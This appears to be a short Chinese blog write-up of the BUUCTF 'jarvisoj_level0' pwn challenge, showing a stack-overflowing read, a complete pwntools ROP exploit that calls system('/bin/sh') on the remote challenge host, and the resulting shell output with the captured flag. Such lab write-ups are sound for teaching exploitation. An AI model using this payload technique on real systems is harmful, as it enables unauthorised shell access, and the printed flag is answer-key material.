BUUCTF jarvisoj_level0

原创

、moddemod 于 2020-06-11 13:13:09 发布 428 收藏

分类专栏： pwn 文章标签： BUUCTF

本文链接：https://blog.csdn.net/weixin_43833642/article/details/106686330


```
1 ssize_t vulnerable_function()
2 {
3   char buf; // [rsp+0h] [rbp-80h]
4
5   return read(0, &buf, 0x200uLL); 栈溢出利用system('/bin/sh')
6 }
```

exp

```
from pwn import *

context(log_level='debug', arch='amd64')

p = remote('node3.buuoj.cn', 26990)
proc_name = './level0'
# p = process(proc_name)
# elf = p.elf
elf = ELF(proc_name)
bin_sh_str = 0x400684
system_plt = elf.plt['system']
pop_rdi_ret = 0x400663
print(system_plt)
payload = 'a'.encode() * (0x80 + 8) + p64(pop_rdi_ret) + p64(bin_sh_str) + p64(system_plt)
p.sendline(payload)
p.interactive()
```

```
$ cat flag.txt
[DEBUG] Sent 0xd bytes:
    b'cat flag.txt\n'
[DEBUG] Received 0x2b bytes:
    b'flag{ac87be3e-d0ce-47fc-8ec0-105e76511020}\n'
flag{ac87be3e-d0ce-47fc-8ec0-105e76511020}
```